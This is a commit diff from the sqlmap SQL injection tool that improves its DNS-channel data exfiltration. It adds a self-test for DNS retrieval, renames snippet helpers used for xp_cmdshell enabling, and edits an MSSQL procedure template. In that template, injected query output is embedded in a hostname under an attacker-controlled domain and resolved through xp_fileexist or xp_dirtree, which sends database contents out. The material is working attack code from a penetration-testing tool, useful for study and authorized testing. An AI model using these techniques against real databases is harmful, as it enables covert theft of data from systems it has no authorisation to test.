minor improvements regarding data retrieval through DNS channel

lib/core/common.py

@@ -1599,9 +1599,9 @@ def parseXmlFile(xmlFile, handler):
     parse(stream, handler)
     stream.close()
 
-def getSPLSnippet(dbms, name, **variables):
+def getSPQLSnippet(dbms, name, **variables):
     """
-    Returns content of SPL snippet located inside "procs" directory
+    Returns content of SP(Q)L snippet located inside "procs" directory
     """
 
     filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name)

lib/core/option.py

@@ -1438,6 +1438,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
     kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
     kb.dep = None
     kb.dnsMode = False
+    kb.dnsTest = None
     kb.docRoot = None
     kb.dumpMode = False
     kb.dynamicMarkings = []

lib/core/threads.py

@@ -92,6 +92,13 @@ def exceptionHandledFunction(threadFunction):
         print
         logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
 
+def setDaemon(thread):
+    # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
+    if PYVERSION >= "2.6":
+        thread.daemon = True
+    else:
+        thread.setDaemon(True)
+
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
 
@@ -128,11 +135,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         for numThread in xrange(numThreads):
             thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])
 
-            # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
-            if PYVERSION >= "2.6":
-                thread.daemon = True
-            else:
-                thread.setDaemon(True)
+            setDaemon(thread)
 
             try:
                 thread.start()

lib/request/dns.py

@@ -90,6 +90,7 @@ class DNSServer:
                 self._running = False
 
         thread = threading.Thread(target=_)
+        thread.daemon = True
         thread.start()
 
 if __name__ == "__main__":

lib/request/inject.py

@@ -60,8 +60,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
     value = None
     count = 0
 
-    if conf.dnsDomain:
-        value = dnsUse(payload, expression)
+    value = __goDns(payload, expression)
 
     if value is None:
         timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
@@ -81,6 +80,26 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
 
     return value
 
+def __goDns(payload, expression):
+    value = None
+
+    if conf.dnsDomain and kb.dnsTest is not False:
+        if kb.dnsTest is None:
+            randInt = randomInt()
+            kb.dnsTest = dnsUse(payload, "SELECT %d" % randInt) == str(randInt)
+            if not kb.dnsTest:
+                errMsg = "test for data retrieval through DNS channel failed. Turning off DNS exfiltration support"
+                logger.error(errMsg)
+                conf.dnsDomain = None
+            else:
+                infoMsg = "test for data retrieval through DNS channel was successful"
+                logger.info(infoMsg)
+
+        if kb.dnsTest:
+            value = dnsUse(payload, expression)
+
+    return value
+
 def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
     outputs = []
     origExpr = None

lib/takeover/xp_cmdshell.py

@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
 """
 
 from lib.core.common import Backend
-from lib.core.common import getSPLSnippet
+from lib.core.common import getSPQLSnippet
 from lib.core.common import hashDBWrite
 from lib.core.common import isNoneValue
 from lib.core.common import pushValue
@@ -67,7 +67,7 @@ class xp_cmdshell:
         debugMsg += "stored procedure"
         logger.debug(debugMsg)
 
-        cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
+        cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
 
         return cmd
 

lib/techniques/dns/use.py

@@ -17,7 +17,7 @@ from lib.core.common import cleanQuery
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
-from lib.core.common import getSPLSnippet
+from lib.core.common import getSPQLSnippet
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import pushValue
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
 
     if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
         output = hashDBRetrieve(expression, checkConf=True)
-        if output and PARTIAL_VALUE_MARKER in output:
+        if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
             output = None
 
         if output is None:
@@ -68,10 +68,9 @@ def dnsUse(payload, expression):
                 nulledCastedField = agent.hexConvertField(nulledCastedField)
                 expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
 
-                expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
+                expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
                 expressionUnescaped = unescaper.unescape(expressionRequest)
 
-
                 if Backend.isDbms(DBMS.MSSQL):
                     comment = queries[Backend.getIdentifiedDbms()].comment.query
                     query = agent.prefixQuery("; %s" % expressionUnescaped)
@@ -96,9 +95,10 @@ def dnsUse(payload, expression):
 
         if output is not None:
             retVal = output
-            dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
-            if count > 0:
-                hashDBWrite(expression, output)
+            if kb.dnsTest is not None:
+                dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
+                if count > 0:
+                    hashDBWrite(expression, output)
 
         if not kb.bruteMode:
             debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
@@ -108,6 +108,5 @@ def dnsUse(payload, expression):
         warnMsg = "DNS data exfiltration method through SQL injection "
         warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
         singleTimeWarnMessage(warnMsg)
-        conf.dnsDomain = None
 
     return retVal

procs/mssqlserver/dns_request.txt

@@ -1,4 +1,4 @@
 DECLARE @host varchar(1024);
 SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
-EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
+EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
 # or EXEC('xp_dirtree "\\' + @host + '."');